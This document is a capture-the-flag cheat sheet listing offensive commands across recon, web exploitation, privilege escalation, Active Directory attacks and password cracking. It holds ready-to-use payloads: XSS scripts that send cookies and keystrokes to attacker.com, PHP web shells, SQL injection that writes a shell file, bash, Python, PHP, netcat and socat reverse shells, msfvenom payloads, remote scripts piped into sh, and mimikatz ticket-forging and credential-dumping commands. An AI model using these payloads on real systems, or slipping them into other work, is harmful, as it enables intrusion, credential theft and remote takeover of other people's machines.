

■ CTF MASTER CHEAT SHEET ■

Capture The Flag — Complete Reference Guide
Recon · Web · Crypto · Forensics · Pwn · Reverse · Misc

TABLE OF CONTENTS

1. Recon & OSINT
2. Network Scanning
3. Web Exploitation
4. SQL Injection
5. XSS & CSRF
6. File Inclusion / Upload
7. Cryptography
8. Encoding & Hashing
9. Forensics
10. Steganography
11. Binary Exploitation (Pwn)
12. Reverse Engineering
13. Privilege Escalation (Linux)
14. Privilege Escalation (Windows)
15. Active Directory
16. Password Cracking
17. Miscellaneous
18. CTF Tools Reference
19. Useful One-Liners

1. RECON & OSINT

Passive Recon

WHOIS	<code>whois target.com</code>
DNS Lookup	<code>dig target.com ANY</code> <code>nslookup target.com</code>
Reverse DNS	<code>dig -x <IP></code>
Zone Transfer	<code>dig axfr @ns1.target.com target.com</code>
Subdomain Enum	<code>subfinder -d target.com</code> <code>amass enum -d target.com</code>
Certificate Search	<code>crt.sh/?q=%.target.com</code>
Google Dorks	<code>site:target.com filetype:pdf</code> <code>site:target.com inurl:admin</code>
Shodan	<code>shodan search hostname:target.com</code> <code>shodan host <IP></code>
theHarvester	<code>theHarvester -d target.com -b all</code>
WaybackMachine	<code>waybackurls target.com tee urls.txt</code>
ASN Lookup	<code>whois -h whois.radb.net -- "-i origin AS12345"</code>

Active Recon

Ping Sweep	<code>nmap -sn 192.168.1.0/24</code>
Host Discovery	<code>nmap -PE -PP -PS80,443 -PA3389 10.0.0.0/24</code>
DNS Brute Force	<code>gobuster dns -d target.com -w /usr/share/wordlists/dns.txt</code>
Dir Brute Force	<code>gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/big.txt</code>
Feroxbuster	<code>feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt</code>
Virtual Hosts	<code>gobuster vhost -u http://target.com -w vhosts.txt</code>

■ 2. NETWORK SCANNING (NMAP)

Quick Scan	<code>nmap -T4 -F target.com</code>
Full TCP Scan	<code>nmap -sS -p- -T4 target.com</code>
Service/Version	<code>nmap -sV -sC target.com</code>
OS Detection	<code>nmap -O target.com</code>
All-in-One	<code>nmap -A -T4 -p- target.com</code>
UDP Scan	<code>nmap -sU --top-ports 200 target.com</code>
Vuln Scripts	<code>nmap --script vuln target.com</code>
SMB Scripts	<code>nmap --script smb-enum-shares,smb-vuln* -p445 target.com</code>
HTTP Scripts	<code>nmap --script http-enum,http-methods -p80,443 target.com</code>
Output All Formats	<code>nmap -oA scan_results target.com</code>
Firewall Bypass	<code>nmap -f -D RND:5 target.com</code>
Idle Scan	<code>nmap -sI zombie_host target.com</code>

Common Ports Reference

21-FTP 22-SSH 23-Telnet 25-SMTP 53-DNS 80-HTTP 110-POP3 135-RPC 139/445-SMB

443-HTTPS 465-SMTPS 993-IMAPS 1433-MSSQL 1521-Oracle 3306-MySQL 3389-RDP 5432-PostgreSQL 6379-Redis

■ 3. WEB EXPLOITATION

Enumeration

WhatWeb	<code>whatweb -v http://target.com</code>
Nikto	<code>nikto -h http://target.com -C all</code>
Tech Detection	<code>wappalyzer / builtwith.com</code>
robots.txt	<code>curl http://target.com/robots.txt</code>
sitemap.xml	<code>curl http://target.com/sitemap.xml</code>
Header Analysis	<code>curl -I http://target.com</code>
Cookie Flags	Check: HttpOnly, Secure, SameSite, Expires
Source Code	<code>Ctrl+U / curl -s http://target.com grep -i "comment\ TODO\ api"</code>
JS Files	<code>curl -s http://target.com grep -oP "src=[\"\\x27\\K[^\"]\\x27]+"</code>
API Discovery	<code>ffuf -u http://target.com/api/FUZZ -w api_wordlist.txt</code>

OWASP Top 10 Quick Reference

A01 - Broken Access Control	A02 - Crypto Failures
A03 - Injection (SQLi, CMDi)	A04 - Insecure Design
A05 - Security Misconfig	A06 - Vulnerable Components
A07 - Auth Failures	A08 - Software & Data Integrity
A09 - Security Logging Failures	A10 - SSRF

■ 4. SQL INJECTION

Detection & Basic Payloads

Error Test	' OR '1'='1 ' OR 1=1-- " OR ""="
Comment Syntax	-- (MySQL/MSSQL) # (MySQL) /* */ (All)
Union Test	' ORDER BY 1-- ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL--
Version	' UNION SELECT @@version-- (MSSQL/MySQL) ' UNION SELECT version()-- (PostgreSQL)
DB Name	' UNION SELECT database()-- ' UNION SELECT schema_name FROM information_schema.schemata--
Tables	' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--
Columns	' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
Blind Boolean	' AND 1=1-- (true) ' AND 1=2-- (false)
Blind Time	'; WAITFOR DELAY '0:0:5'-- (MSSQL) ' AND SLEEP(5)-- (MySQL)
File Read	' UNION SELECT LOAD_FILE('/etc/passwd')--
File Write	' INTO OUTFILE '/var/www/html/shell.php'--
Second Order	Payload stored then executed elsewhere in app

SQLMap

Basic	sqlmap -u "http://target.com/page?id=1"
POST Request	sqlmap -u "http://target.com/login" --data="user=a&pass=b"
Cookies	sqlmap -u "http://target.com/page" --cookie="session=abc"
Dump DB	sqlmap -u "..." --dbs sqlmap -u "..." -D dbname --tables sqlmap -u "..." -D dbname -T users --dump
OS Shell	sqlmap -u "..." --os-shell
Level/Risk	sqlmap -u "..." --level=5 --risk=3
Tamper Scripts	sqlmap -u "..." --tamper=space2comment,between
Proxy	sqlmap -u "..." --proxy=http://127.0.0.1:8080

■ 5. XSS & CSRF

XSS Payloads

Basic Alert	<pre><script>alert(1)</script> <svg onload=alert(1)></pre>
Filter Bypass	<pre><ScRiPt>alert(1)</ScRiPt> <script>alert`1`</script> javascript:alert(1)</pre>
Cookie Steal	<pre><script>document.location="http://attacker.com/?c="+document.cookie</script></pre>
Keylogger	<pre><script>document.onkeypress=function(e){new Image().src="http://attacker.com/?k="+e.key}</script></pre>
DOM-Based	<pre>location.hash / document.write(location.hash.substring(1))</pre>
Stored XSS	<pre>Payload saved to DB, executed when viewed</pre>
BeEF Hook	<pre><script src="http://attacker.com:3000/hook.js"></script></pre>
CSP Bypass	<pre>Use allowed domains/scripts; JSONP endpoints; base-uri injection</pre>
CSTI	<pre>{{7*7}} / \${7*7} / #{7*7} (Template injection test)</pre>

CSRF

CSRF PoC	<pre><form action="http://target.com/transfer" method="POST"> <input name="amount" value="1000"> <input type="submit"></form></pre>
Check	<pre>Missing CSRF token, SameSite=None cookies, no Origin/Referer check</pre>
Bypass	<pre>Change POST to GET, remove token, modify referrer</pre>
Clickjacking	<pre><iframe src="http://target.com" style="opacity:0;position:absolute"></pre>

6. FILE INCLUSION & UPLOAD

LFI Basic	?page=../../../../etc/passwd ?page=...../etc/passwd
LFI PHP Wrappers	?page=php://filter/convert.base64-encode/resource=index.php ?page=php://input [POST: <?php system(\$_GET["cmd"]);?>]
LFI Log Poison	Inject payload in User-Agent, then include /var/log/apache2/access.log
RFI	?page=http://attacker.com/shell.txt (requires allow_url_include=0n)
Path Traversal	../ / ../%2F / ../%252F / ../%c0%af / %2e%2e%2f
LFI to RCE	/proc/self/environ, /proc/self/fd/, SSH log, mail log
File Upload Bypass	Change Content-Type to image/jpeg Double extension: shell.php.jpg Null byte: shell.php%00.jpg Magic bytes: add GIF89a; to PHP file
Upload Wordlist	php, php2, php3, php4, php5, phtml, pHp, PHP, shtml
WebShell One-liner	<?php system(\$_GET["cmd"]); ?> <?php passthru(\$_REQUEST["cmd"]); ?>

■ 7. CRYPTOGRAPHY

Classic Ciphers

Caesar	Shift each letter by N; brute force 25 shifts
ROT13	Caesar shift 13; echo "text" tr A-Za-z N-ZA-Mn-za-m
Vigenere	Key-based polyalphabetic; use kasiski/IC analysis to find key length
Substitution	Frequency analysis; common: E T A O I N S H R
Atbash	A=Z, B=Y, ...; reverse alphabet
Rail Fence	Write diagonally across rails; read row by row
Columnar Trans	Write in rows, reorder columns by key, read columns
Playfair	5x5 grid; digraph substitution cipher
Bacon	5-bit binary using A/B encoding each letter
Morse	.- ... --- / CyberChef or dcode.fr

Modern Crypto Attacks

RSA Small e	e=3 with small m: cube root of c = m
RSA Common N	Same n, different e: GCD attack recovers factors
RSA Low e Broadcast	Same message encrypted to e targets: CRT then e-th root
RSA Wiener	Small d: continued fraction expansion of e/n
Padding Oracle	CBC bit-flip; padbuster / POODLE
ECB Mode	Same plaintext = same ciphertext block; block shuffling
CBC Bit Flip	XOR byte in C[n-1] to flip byte in P[n]
Hash Length Ext	MD5/SHA1/SHA256: hashpump tool
XOR Known PT	key = ciphertext XOR known_plaintext
OTP Reuse	c1 XOR c2 = p1 XOR p2; crib dragging
Factorization	factordb.com; yafu; msieve; p-1 method
Discrete Log	Baby-step giant-step; index calculus

■ 8. ENCODING & HASHING

Base64	<pre>echo "text" base64 echo "dGV4dA==" base64 -d</pre>
Base32	<pre>python3 -c "import base64; print(base64.b32decode('...'))"</pre>
Base58	<pre>bs58 decode / CyberChef</pre>
Hex	<pre>echo "68656c6c6f" xxd -r -p python3 -c "print(bytes.fromhex('68656c6c6f'))"</pre>
URL Encode	<pre>python3 -c "import urllib.parse; print(urllib.parse.quote('text'))"</pre>
HTML Entities	<pre>&#60; = < / &#62; = > / CyberChef magic</pre>
Binary	<pre>python3 -c "print(int('01101000',2))"</pre>
MD5	<pre>echo -n "text" md5sum</pre>
SHA256	<pre>echo -n "text" sha256sum</pre>
Identify Hash	<pre>hashid "5f4dcc3b5aa765d61d8327deb882cf99" hash-identifier</pre>
CyberChef Magic	<pre>magic op on CyberChef auto-detects encoding chains</pre>
JWT Decode	<pre>jwt.io / python3 jwt decode no verify</pre>
JWT Attack	<pre>Change alg to "none"; RS256 to HS256 with public key</pre>

9. FORENSICS

File Analysis

File Type	<code>file suspicious_file</code> <code>exiftool suspicious_file</code>
Strings	<code>strings -n 8 file.bin grep -i "flag\[CTF\]key"</code>
Hex Dump	<code>xxd file.bin head -50</code> <code>hexdump -C file.bin</code>
Magic Bytes	<code>FF D8 FF = JPEG / 89 50 4E 47 = PNG / 47 49 46 = GIF</code> <code>50 4B 03 04 = ZIP / 25 50 44 46 = PDF</code>
Binwalk	<code>binwalk -e file.bin (extract embedded files)</code> <code>binwalk --dd=".*" file.bin</code>
Foremost	<code>foremost -i file.bin -o output/</code>
7zip	<code>7z l file.zip / 7z x file.zip</code>
Metadata	<code>exiftool image.jpg</code> <code>mat2 --inplace file (strip metadata)</code>
Entropy	<code>binwalk -E file.bin (high entropy = encrypted/compressed)</code>
Carve Files	<code>photorec / bulk_extractor</code>

Memory Forensics (Volatility 3)

Image Info	<code>vol3 -f mem.raw windows.info</code>
Process List	<code>vol3 -f mem.raw windows.pslist</code> <code>vol3 -f mem.raw windows.pstree</code>
Network Conns	<code>vol3 -f mem.raw windows.netstat</code>
Dump Process	<code>vol3 -f mem.raw windows.dumpfiles --pid 1234</code>
Command Line	<code>vol3 -f mem.raw windows.cmdline</code>
Registry Hives	<code>vol3 -f mem.raw windows.registry.hivelist</code>
Credentials	<code>vol3 -f mem.raw windows.hashdump</code>
Linux Profile	<code>vol3 -f mem.raw linux.bash</code> <code>vol3 -f mem.raw linux.pslist</code>

Network Forensics

Open PCAP	<code>wireshark capture.pcap</code>
Filter HTTP	<code>tshark -r capture.pcap -Y "http" -T fields -e http.request.uri</code>
Follow Stream	<code>tshark -r file.pcap -z follow,tcp,ascii,0</code>
Extract Files	<code>tcpflow -r capture.pcap / NetworkMiner</code>
DNS Exfil	<code>tshark -r file.pcap -Y "dns" -T fields -e dns.qry.name</code>
Credentials	<code>dsniff -p capture.pcap</code>
Stats	<code>tshark -r file.pcap -q -z protocol,tree</code>

■ 10. STEGANOGRAPHY

LSB Analysis	<code>zsteg image.png -a</code> <code>stegsolve.jar (bit planes)</code>
steghide	<code>steghide extract -sf image.jpg</code> <code>steghide extract -sf image.jpg -p "password"</code>
outguess	<code>outguess -r image.jpg output.txt</code>
stegcracker	<code>stegcracker image.jpg wordlist.txt</code>
Stegsolve	<code>java -jar stegsolve.jar (view bit planes, color channels)</code>
zsteg	<code>zsteg -a image.png (all checks)</code> <code>zsteg image.png -b 1 -o xy -v</code>
Audio Steg	Audacity: spectrogram view DeepSound for audio hiding
Sonic Visualizer	View spectrogram for hidden images/messages in audio
MP3Stego	<code>MP3Stego.exe -x -P password hidden.mp3</code>
PDF Steg	<code>pdfextract / binwalk on PDF</code>
Whitespace	<code>stegsnow / look for trailing spaces in text</code>
Zero-width	<code>zwsp decoder: invisible Unicode chars in text</code>
Image Diff	<code>compare -metric AE img1.png img2.png diff.png</code>
GIF Analysis	<code>gifsicle -e image.gif (extract frames)</code>

11. BINARY EXPLOITATION (PWN)

Reconnaissance

File Info	<pre>file binary rabin2 -I binary</pre>
Security Checks	<pre>checksec --file=binary pwn checksec binary</pre>
Strings	<pre>strings binary grep -i "flag\ pass\ key"</pre>
Disassemble	<pre>objdump -d binary grep -A20 "<main>"</pre>
GDB Setup	<pre>gdb -q binary pwndbg / peda / gef (enhanced GDB)</pre>
GDB Commands	<pre>break main / run / next / step / continue info registers / x/20wx \$esp / disas main</pre>
ltrace/strace	<pre>ltrace ./binary (lib calls) strace ./binary (sys calls)</pre>
Radare2	<pre>r2 binary aaa (analyze) afl (list functions) pdf @main (disassemble main)</pre>

Attack Techniques

Buffer Overflow	<pre>python3 -c "print('A'*100)" ./binary cyclic 200 (pwntools pattern) cyclic -l 0x6161616e (find offset)</pre>
ROP Chain	<pre>ROPgadget --binary binary --rop ropper -f binary --search "pop rdi"</pre>
ret2libc	<pre>Find system/"bin/sh" in libc pwn.ELF('libc.so').symbols['system']</pre>
GOT/PLT Overwrite	<pre>Overwrite GOT entry to redirect function calls</pre>
Format String	<pre>%p %p %p (leak addresses) %n (write to address) %7\$n (write to 7th arg)</pre>
Heap	<pre>use-after-free, double-free, heap overflow fastbin attack, tcache poisoning</pre>
ASLR Bypass	<pre>Leak libc/stack address via format string or use-after-free</pre>
PIE Bypass	<pre>Leak code address; compute base = leaked - offset</pre>
Stack Canary	<pre>Leak canary via format string / brute force (fork)</pre>
pwntools Template	<pre>from pwn import * p=process('./binary') elf=ELF('./binary') p.sendline(b'A'*offset+p64(ret_addr)) p.interactive()</pre>

■ 12. REVERSE ENGINEERING

Static Analysis	<code>file binary / strings binary / readelf -a binary</code>
Ghidra	<code>ghidraRun (Open project, import binary, analyze, decompile)</code>
IDA Free	Static + dynamic; decompiler with Hex-Rays plugin
Radare2	<code>r2 -A binary</code> <code>pdf @sym.main</code> <code>VV (visual mode)</code>
Binary Ninja	Commercial; great IL/HLIL decompilation
Decompile Python	<code>uncompyle6 / decompile3 / pyc_disassemble</code>
Java / APK	<code>jadx-gui file.apk</code> <code>jad / procyon</code> for .class files
.NET	<code>dnSpy / ILSpy / dotPeek</code>
Dynamic Analysis	<code>gdb / x64dbg (Windows) / frida</code>
Anti-Debug Bypass	<code>ptrace check, timing checks; NOP or patch jumps</code>
Packing/UPX	<code>upx -d packed_binary (unpack)</code> <code>detect-it-easy / exeinfope</code>
WASM	<code>wasm2wat binary.wasm (binary to text)</code> <code>wasm-decompile binary.wasm</code>
Angr Symbolic	<code>import angr</code> <code>p=angr.Project("binary")</code> <code>simgr=p.factory.simulation_manager()</code> <code>simgr.explore(find=0xdeadbeef)</code> <code>print(simgr.found[0].posix.dumps(0))</code>
Z3 Solver	<code>from z3 import *</code> <code>x=Int("x")</code> <code>s=Solver()</code> <code>s.add(x*3==42)</code> <code>print(s.model())</code>

13. LINUX PRIVILEGE ESCALATION

System Info	<code>uname -a</code> <code>cat /etc/os-release</code> <code>lsb_release -a</code>
Current User	<code>id / whoami / groups</code>
Sudo Rights	<code>sudo -l</code>
SUID Binaries	<code>find / -perm -4000 -type f 2>/dev/null</code>
GUID Binaries	<code>find / -perm -2000 -type f 2>/dev/null</code>
World Writable	<code>find / -writable -type d 2>/dev/null</code>
Cron Jobs	<code>cat /etc/crontab</code> <code>ls /etc/cron.*</code> <code>crontab -l</code>
PATH Hijack	<code>echo \$PATH; look for . or writable dir first in PATH</code>
Capabilities	<code>getcap -r / 2>/dev/null</code>
Running Services	<code>ps aux / netstat -tulpn / ss -tlnp</code>
Config Files	<code>find / -name "*.conf" -o -name "*.cfg" 2>/dev/null xargs grep -l "password"</code>
SSH Keys	<code>find / -name "id_rsa" 2>/dev/null</code> <code>cat ~/.ssh/authorized_keys</code>
History Files	<code>cat ~/.bash_history ~/.zsh_history ~/.mysql_history</code>
Kernel Exploits	<code>uname -r; search CVE; DirtyCow, DirtyPipe (CVE-2022-0847)</code>
LinPEAS	<code>curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh sh</code>
LinEnum	<code>wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh && bash LinEnum.sh</code>
GTFOBins	<code>gtfobins.github.io</code> (SUID/sudo escape techniques)
NFS No Root	<code>cat /etc/exports</code> (look for <code>no_root_squash</code>)
Docker Escape	<code>docker run -v /:/mnt --rm -it alpine chroot /mnt sh</code>

■ 14. WINDOWS PRIVILEGE ESCALATION

System Info	systeminfo whoami /all net user %username%
Local Users	net user / net localgroup administrators
Installed Apps	wmic product get name,version reg query HKLM\SOFTWARE
Running Services	sc query / tasklist /svc / Get-Service
Scheduled Tasks	schtasks /query /fo LIST /v
AlwaysInstallElev	reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Unquoted Service	wmic service get name,pathname findstr /i /v "C:\Windows"
Weak Service Perm	accesschk.exe -uwcqv "Everyone" * sc config <svc> binpath= "cmd.exe /c whoami > C:\out.txt"
DLL Hijacking	Procmon for NAME NOT FOUND; place malicious DLL
Token Imperson.	whoami /priv (look for SeImpersonatePrivilege) PrintSpoofer / JuicyPotato / RoguePotato
Stored Creds	cmdkey /list wmic useraccount get /all vault::cred (mimikatz)
Pass-the-Hash	mimikatz sekurlsa::pth /user:admin /ntlm:HASH /domain:DOM
WinPEAS	.\winPEASany.exe
PowerUp	Import-Module PowerUp.ps1; Invoke-AllChecks
SharpUp	.\SharpUp.exe audit

15. ACTIVE DIRECTORY

Enum (BloodHound)	<pre>SharpHound.exe -c All python3 bloodhound-python -u user -p pass -d domain.local -c All</pre>
Enum (PowerView)	<pre>Get-NetDomain / Get-NetUser / Get-NetGroup Get-NetComputer / Find-LocalAdminAccess</pre>
LDAP Query	<pre>ldapsearch -x -h DC -D "user@domain" -w pass -b "DC=domain,DC=local"</pre>
Kerberoasting	<pre>GetUserSPNs.py domain/user:pass -request hashcat -m 13100 hashes.txt wordlist.txt</pre>
AS-REP Roast	<pre>GetNPUsers.py domain/ -no-pass -usersfile users.txt hashcat -m 18200 hashes.txt wordlist.txt</pre>
Pass Spray	<pre>kerbrute passwordspray users.txt "Password123" --dc 10.0.0.1 -d domain.local</pre>
PTH (psexec)	<pre>psexec.py domain/admin@10.0.0.1 -hashes :NTLMHASH</pre>
DCSync	<pre>secretsdump.py domain/admin@DC -hashes :HASH mimikatz lsadump::dcsync /domain:dom /user:krbtgt</pre>
Golden Ticket	<pre>mimikatz kerberos::golden /user:admin /domain:dom /sid:S-1-5 /krbtgt:HASH /ptt</pre>
Silver Ticket	<pre>mimikatz kerberos::golden /user:admin /domain:dom /sid:S-1-5 /target:SRV /service:http /rc4:HASH /ptt</pre>
Pass-the-Ticket	<pre>mimikatz kerberos::ptt ticket.kirbi</pre>
NTLM Relay	<pre>responder -I eth0 -rdw ntlmrelayx.py -tf targets.txt -smb2support</pre>
SMB Shares	<pre>smbclient -L //10.0.0.1 -U user%pass spider_plus from CrackMapExec</pre>
CrackMapExec	<pre>cme smb 10.0.0.0/24 -u user -p pass --shares cme smb hosts.txt -u admin -H HASH --sam</pre>

■ 16. PASSWORD CRACKING

Hashcat Modes	<pre>-m 0 = MD5 -m 100 = SHA1 -m 1000 = NTLM -m 1800 = sha512crypt -m 2500 = WPA2 -m 13100 = Kerberoast -m 22000 = WPA-PBKDF2</pre>
Hashcat Attacks	<pre>-a 0 = Dictionary -a 1 = Combination -a 3 = Brute-force mask -a 6 = Dict + mask -a 7 = Mask + dict</pre>
Hashcat Dict	<pre>hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt</pre>
Hashcat Brute	<pre>hashcat -m 0 hash.txt -a 3 ?a?a?a?a?a</pre>
Hashcat Rules	<pre>hashcat -m 0 hash.txt rockyou.txt -r rules/best64.rule</pre>
Hashcat Mask	<pre>?l=lower ?u=upper ?d=digit ?s=special ?a=all hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d</pre>
John the Ripper	<pre>john hash.txt --wordlist=rockyou.txt john hash.txt --format=md5crypt</pre>
John Rules	<pre>john hash.txt --wordlist=rockyou.txt --rules=best64</pre>
John Show	<pre>john hash.txt --show</pre>
Identify Hash	<pre>hashid hash / haiti hash / hash-identifier</pre>
Online Crackers	<pre>crackstation.net / hashes.com / md5decrypt.net</pre>
Zip/RAR	<pre>zip2john file.zip > hash.txt && john hash.txt rar2john file.rar > hash.txt && john hash.txt</pre>
PDF Password	<pre>pdf2john.pl file.pdf > hash.txt && john hash.txt</pre>
SSH Key	<pre>ssh2john id_rsa > hash.txt && john hash.txt</pre>

■ 17. MISCELLANEOUS

Shells & Reverse Shells

Listener	<pre>nc -lvnp 4444 python3 -m http.server 8080</pre>
Bash RevShell	<pre>bash -i >& /dev/tcp/10.0.0.1/4444 0>&1</pre>
Python RevShell	<pre>python3 -c "import socket,subprocess,os;s=socket.socket();s .connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s .fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/s h'])"</pre>
PHP RevShell	<pre>php -r '\$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'</pre>
NC RevShell	<pre>nc -e /bin/sh 10.0.0.1 4444 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2>&1 nc 10.0.0.1 4444 >/tmp/f</pre>
PowerShell	<pre>powershell -nop -c "\$client=New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);..."</pre>
Upgrade Shell	<pre>python3 -c "import pty;pty.spawn('/bin/bash')"</pre> <pre>Ctrl+Z; stty raw -echo; fg export TERM=xterm</pre>
Msfvenom	<pre>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > shell.exe</pre>

File Transfer

Python HTTP	<pre>python3 -m http.server 8080 curl http://10.0.0.1:8080/file -o file</pre>
SCP	<pre>scp user@10.0.0.1:/path/file . scp file user@10.0.0.1:/tmp/</pre>
Base64 Transfer	<pre>base64 file xclip echo "BASE64" base64 -d > file</pre>
NC Transfer	<pre>recv: nc -lvnp 4444 > file send: nc 10.0.0.1 4444 < file</pre>
Certutil (Win)	<pre>certutil -urlcache -f http://10.0.0.1/file C:\file</pre>
PowerShell (Win)	<pre>(New-Object Net.WebClient).DownloadFile("http://10.0.0.1/fi le","C:\file")</pre>
SMB Server	<pre>impacket-smbserver share \$(pwd) -smb2support copy \\10.0.0.1\share\file .</pre>

■ 18. CTF TOOLS REFERENCE

Tool	Category	Purpose
CyberChef	General	Swiss army knife for encoding/decoding/crypto
Burp Suite	Web	HTTP proxy, scanner, intruder, repeater
OWASP ZAP	Web	Open-source web app scanner
SQLMap	Web	Automated SQL injection
ffuf	Web	Fast web fuzzer for dirs, params, vhosts
Gobuster	Web	Dir/DNS/vhost brute forcer
Nmap	Network	Port scanner and service detection
Wireshark	Network	GUI packet analyzer
tshark	Network	CLI packet analyzer
Metasploit	Exploitation	Exploit framework with payloads and modules
pwntools	Pwn	CTF framework for binary exploitation
GDB + pwndbg	Pwn	Debugger with enhanced CTF features
ROPgadget	Pwn	Find ROP gadgets in binaries
Ghidra	Reversing	NSA reverse engineering framework
Radare2	Reversing	Open source RE framework
angr	Reversing	Binary analysis and symbolic execution
Volatility 3	Forensics	Memory forensics framework
Autopsy	Forensics	Digital forensics platform
binwalk	Forensics	Firmware/file analysis and extraction
steghide	Stego	Steganography hide/extract
zsteg	Stego	PNG/BMP steganography detection
Stegsolve	Stego	Image steganography viewer
hashcat	Crypto	GPU-accelerated password cracker
John the Ripper	Crypto	CPU password cracker
SageMath	Crypto	Math software for crypto challenges
pycryptodome	Crypto	Python crypto library
BloodHound	AD	AD attack path visualization
Impacket	AD	Python AD/network protocol tools
CrackMapExec	AD	Swiss army knife for Windows networks
Responder	AD	LLMNR/NBT-NS/MDNS poisoner
LinPEAS/winPEAS	PrivEsc	Automated privilege escalation enum

■ 19. USEFUL ONE-LINERS & QUICK TIPS

Grep for flags	<code>grep -rn "CTF{\ FLAG{\ flag{" / 2>/dev/null</code>
Find SUID	<code>find / -perm /4000 2>/dev/null xargs ls -la</code>
Port forward SSH	<code>ssh -L 8080:127.0.0.1:80 user@target (local forward)</code> <code>ssh -R 9090:127.0.0.1:80 user@attacker (remote forward)</code>
Dynamic SOCKS	<code>ssh -D 1080 user@target</code> <code>proxychains nmap -sT -Pn target2</code>
Chisel Tunnel	<code>server: chisel server -p 8000 --reverse</code> <code>client: chisel client attacker:8000 R:9001:127.0.0.1:9001</code>
URL Fuzz (ffuf)	<code>ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301,302 -t 100</code>
Param Fuzz	<code>ffuf -u "http://target/page?FUZZ=value" -w params.txt</code>
Subdomain Fuzz	<code>ffuf -u http://FUZZ.target.com -w subdomains.txt -H "Host: FUZZ.target.com"</code>
XSS Hunter	Use <code>xss.report</code> or <code>interact.sh</code> for blind XSS callbacks
SSRF Test	<code>http://169.254.169.254/latest/meta-data/</code> (AWS metadata)
Python HTTP POST	<code>python3 -c "import urllib.request; urllib.request.urlopen(urllib.request.Request('http://x',b'data'))"</code>
Hex to ASCII	<code>echo "48656c6c6f" xxd -r -p</code>
ROT13	<code>echo "text" tr A-Za-z N-ZA-Mn-za-m</code>
Base64 loop	<code>for enc in \$(cat encoded.txt); do echo \$enc base64 -d; done</code>
Extract IPs	<code>grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' file.txt sort -u</code>
Watch file	<code>watch -n1 cat /tmp/output.txt</code>
Tcpdump capture	<code>tcpdump -i eth0 -w cap.pcap port 80 or port 443</code>
Crack JWT	<code>import jwt; jwt.decode(token, options={'verify_signature':False})</code>
Quick HTTP server	<code>php -S 0.0.0.0:8080</code> <code>npx http-server -p 8080</code>
Socat RevShell	<code>attacker: socat TCP-L:4444 FILE:`tty`,raw,echo=0</code> <code>target: socat TCP:attacker:4444</code> <code>EXEC:/bin/bash,pty,stderr,setsid,sigint,sane</code>
AD: Spray safe	Use <code>--jitter</code> and <code>--delay</code> in <code>kerbrute</code> to avoid lockout
Wordlists	<code>/usr/share/wordlists/rockyou.txt</code> <code>/usr/share/seclists/</code> (huge collection) <code>/usr/share/wordlists/dirb/</code> (web paths)

■ HAPPY HACKING ■ ALWAYS HACK ETHICALLY ■

For CTF practice: [HackTheBox](#) · [TryHackMe](#) · [PicoCTF](#) · [CTFtime.org](#) · [pwn.college](#)